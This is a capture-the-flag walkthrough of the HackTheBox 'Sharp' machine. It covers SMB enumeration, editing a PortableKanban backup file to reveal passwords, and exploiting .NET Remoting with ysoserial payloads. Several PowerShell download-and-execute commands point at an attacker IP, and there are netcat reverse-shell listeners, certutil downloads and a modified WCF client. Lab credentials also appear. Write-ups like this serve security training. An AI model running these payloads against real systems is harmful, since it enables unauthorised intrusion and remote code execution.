chu@antisec:~/htb$ cat sharp.md

PORT     STATE SERVICE            VERSION
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
8888/tcp open  storagecraft-image StorageCraft Image Manager
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host


Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-12-08T12:21:23
|_  start_date: N/A

TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   224.18 ms 10.10.14.1
2   224.76 ms 10.10.10.219

smbclient -L \\10.10.10.219 -N

Let's head to the kanban directory

smbclient -L \\10.10.10.219\kanban -N

We can see a file called PortableKanban.pk3.bak that looks like a backup file, so let's read it

Opening it, we can see the file holds encrypted passwords:

We start by hitting the SMB service to copy the program over to our machine:

smbclient \\10.10.10.219\kanban -N
get pkb.zip

For this box, for the first time I had to spin up a Windows machine to use as the attacker... We extract the files from our pkb.zip archive

Running PortableKanban.exe we can see it creates the PortableKanban.pk3.bak file where it stores the credentials... So let's swap in the PortableKanban.pk3.bak file we found on our target.

After swapping the PortableKanban.pk3 file, we need credentials to get into the program.

Digging a bit more into Kanban, I noticed the program itself can return the passwords in plain-text with an Administrator account... In our file we have this info:

{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"","EncryptedPassword":"k+iUoOvQYG98PuhhRC7/rg==","Role":"Admin","Inactive":false,"TimeStamp":637409769245503731}
{"Id":"0628ae1de5234b81ae65c246dd2b4a21","Name":"lars","Initials":"","Email":"","EncryptedPassword":"Ua3LyPFM175GN8D3+tqwLA==","Role":"User","Inactive":false,"TimeStamp":637409769265925613}

So we have an admin user and a regular user. What we can do is try editing the file that stores the passwords to get in First, we remove the password of user lars to get the Administrator user's password, for that we leave the 'EncryptedPassword' field empty, and on top of that we change the 'Role' part from user to Admin.

{"Id":"0628ae1de5234b81ae65c246dd2b4a21","Name":"lars","Initials":"","Email":"","EncryptedPassword":"","Role":"Admin","Inactive":false,"TimeStamp":637409769265925613}

After that, we try to log into the program as user 'lars' with no password.

Unchecking the Hide Passwords option, we get our first credentials:

Administrator:G2@$btRSHJYTarg

With that, we can go back to our original PortableKanban.pk3 file. Now when we open the Kanban, we use the Administrator credentials.

Now we have credentials for user lars and for user Administrator:

lars:G123HHrth234gRG

On the other SMB directory, called dev:

smbclient \\10.10.10.219\dev -U lars

We download all these files to our machine so we can analyze them.

We use dnSpy to analyze the .exe files Inside Client.exe, there's an interesting piece of info:

We have a credential and an address:

debug:SharpApplicationDebugUserPassword123!
tcp://localhost:8888/SecretSharpDebugApplicationEndpoint

Looking into how to talk to this service, we found an exploit that interacts with it through Remoting.Channels.Tcp, the ExploitRemotingService.

We can compile it on our machine, or just download it already compiled.

Now we need to prepare the payload we'll send through ExploitRemotingService. For that we'll need python and also ysoserial.

We have to compile ysoserial or download it already compiled.

After that, we need to get our shell ready. We'll use this shell.ps1

Let's use ysoserial to craft our payload:

.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('10.10.14.136/chu.ps1')"

With ExploitRemotingService we send our payload over:

.\ExploitRemotingService.exe --user=debug --pass=SharpApplicationDebugUserPassword123! tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw +PAYLOAD

After sending the payload, we start our python server and open a port on our machine to receive the shell connection.

python -m SimpleHTTPServer 80

nc -vvnlp 1337

We have our initial shell :)

To escalate our privileges, we'll run 'winpeas.exe', so we have to send it first, let's generate our payload in ysoserial:

.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.128/winpeas.exe')"

Getting into C:\users\lars\Documents\ we come across a folder called wcf, let's compress it and move it to the SMB shared directory.

Compress-Archive -LiteralPath C:\users\lars\Documents\wcf -DestinationPath C:\users\lars\Documents\wcf.zip
move-item -path C:\users\lars\Documents\wcf.zip -destination c:\dev

After compressing and moving it to the shared folder on SMB, we access it with the credentials we already have and download it to our machine:

smbclient \\10.10.10.219\dev -U lars

With the file downloaded to our machine, we can open it in VisualStudio:

We add our line to the code and then build.

Console.WriteLine(client.InvokePowerShell(" iex (new-object net.webclient).downloadstring('http://10.10.14.219/chu.ps1')"));

We transfer the files to the machine(we could have used Invoke-WebRequest):

certutil -urlcache -split -f "http://10.10.14.219/WcfRemotingLibrary.dll" WcfRemotingLibrary.dll
certutil -urlcache -split -f "http://10.10.14.219/WcfClient.exe" WcfClient.exe

After that, we run our file:

.\WcfClient.exe

With that, we get the connection back as r00t~

nc -vvnlp 1337

if i helped you, add + respect at my profile :D